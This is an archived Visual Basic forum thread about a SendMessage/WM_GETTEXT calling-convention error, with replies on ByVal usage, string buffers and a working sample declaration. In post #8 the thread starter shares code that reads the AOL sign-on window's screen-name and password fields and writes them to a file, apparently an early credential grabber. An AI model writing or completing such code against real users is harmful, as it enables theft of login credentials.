Results 1 to 12 of 12

Thread: WM_GETTEXT

  1. #1

    Thread Starter
    Hyperactive Member
    Join Date
    Jul 1999
    Location
    NY, USA
    Posts
    270

    Post

    Call SendMessage(hwnd1, WM_GETTEXT, iLength, ByVal ReceivedText)

    gets a Bad DLL Calling Convention

    If I remove the ByVal I get some automation errors.

    Please help.

    P.S. Everything is declared, all hWnd's are working, iLength is a non-zero Long from WM_GETTEXTLENGTH, and WM_SETTEXT works.

    ------------------
    Tom Young, 14 Year Old
    [email protected]
    ICQ: 15743470 Add Me ICQ Me
    AIM: TomY10
    PERL, JavaScript and VB Programmer

  2. #2
    Hyperactive Member
    Join Date
    Nov 1999
    Posts
    363

    Post

    Tom,

    You're missing ByVal in the third argument:

    Call SendMessage(hwnd1, WM_GETTEXT, ByVal iLength, ByVal ReceivedText)

    Wade

    [This message has been edited by WadeD (edited 02-21-2000).]

  3. #3

    Thread Starter
    Hyperactive Member
    Join Date
    Jul 1999
    Location
    NY, USA
    Posts
    270

    Post

    You don't need it. It is already there from the Declare statement.

    .., ByVal wParam As Long

    and that is not the problem.

  4. #4
    old fart Frans C's Avatar
    Join Date
    Oct 1999
    Location
    the Netherlands
    Posts
    2,926

    Post

    How did you declare the SendMessage API?
    Try declaring a second (typesafe) function, just for the strings. Like:
    Public Declare Function SendMessageByString Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long

    Did you initialize the string? eg
    ReceivedText = Space(iLength)
    Call SendMessage(hwnd1, WM_GETTEXT, iLength, ReceivedText)

  5. #5
    Hyperactive Member
    Join Date
    Nov 1999
    Posts
    363

    Post

    Since ByVal is in the Declare statement for every argument, you shouldn't get an Automation error when removing the last ByVal..correct??

  6. #6

    Thread Starter
    Hyperactive Member
    Join Date
    Jul 1999
    Location
    NY, USA
    Posts
    270

    Post

    Correct.

    I tried the SendMessageByString, and no error, but now I don't receive any text.

    [This message has been edited by Compwiz (edited 02-21-2000).]

  7. #7
    old fart Frans C's Avatar
    Join Date
    Oct 1999
    Location
    the Netherlands
    Posts
    2,926

    Post

    In the original declaration, lParam is declared ByRef As Any. However, because VB stores strings a different way then most API's expect, they should always be passed ByVal.
    I can't explain the automation error though, since no automation is used. You should just GPF.

  8. #8

    Thread Starter
    Hyperactive Member
    Join Date
    Jul 1999
    Location
    NY, USA
    Posts
    270

    Post

    Here is my code. It is to get the ScreenName out of the AOL guest box. (and NO, I dont use AOL, this is for my friend who does).

    Code:
    Sub GetData()
    If FindWindowEx(0, 0, "_AOL_Modal", "") <> 0 Then
        Dim AOLModal1, AOLEdit1, AOLEdit2 As Long
        Dim AOLScreenName, AOLPassword As String
        AOLModal1 = FindWindowEx(0, 0, "_AOL_Modal", "")
        AOLEdit1 = FindWindowEx(AOLModal1, 0, "_AOL_Edit", vbNullString)
        AOLEdit2 = FindWindowEx(AOLEdit1, 0, "_AOL_Edit", vbNullString)
        Dim iLength As Long
        iLength = SendMessage(AOLEdit1, WM_GETTEXTLENGTH, 0&, ByVal 0&)
        AOLScreenName = Space(iLength)
        Call SendMessageByString(AOLEdit1, WM_GETTEXT, iLength, AOLScreenName)
        WriteFile AOLScreenName, AOLPassword, AOLEdit1, AOLEdit2
        Form1.Text1.Text = AOLScreenName
    End If
    End Sub

  9. #9
    old fart Frans C's Avatar
    Join Date
    Oct 1999
    Location
    the Netherlands
    Posts
    2,926

    Post

    What is the value of iLength after sending the WM_GETTEXTLENGTH message?
    You should add 1 to iLength before initiating the AOLScreenName variable to allow a null terminating character.

  10. #10

    Thread Starter
    Hyperactive Member
    Join Date
    Jul 1999
    Location
    NY, USA
    Posts
    270

    Post

    Tried that. Doesn't work.

  11. #11

    Thread Starter
    Hyperactive Member
    Join Date
    Jul 1999
    Location
    NY, USA
    Posts
    270

    Post

    Please Help

  12. #12
    Guru Aaron Young's Avatar
    Join Date
    Jun 1999
    Location
    Red Wing, MN, USA
    Posts
    2,177

    Post

    Either there's something wrong with your API Declaration or one of your values isn't what you think it is, try this to make sure your Declaration is correct:
    Code:
    Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
    Private Const WM_GETTEXT = &HD
    
    Private Sub Command1_Click()
        Dim sText As String
        sText = Space(255)
        sText = Left$(sText, SendMessage(hwnd, WM_GETTEXT, 255, ByVal sText))
        MsgBox sText
    End Sub
    This does work, so if your declaration is the same, Debug the routine and check the values as it's executed.

    ------------------
    Aaron Young
    Analyst Programmer
    [email protected]
    [email protected]
    Certified AllExperts Expert

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  



Click Here to Expand Forum to Full Width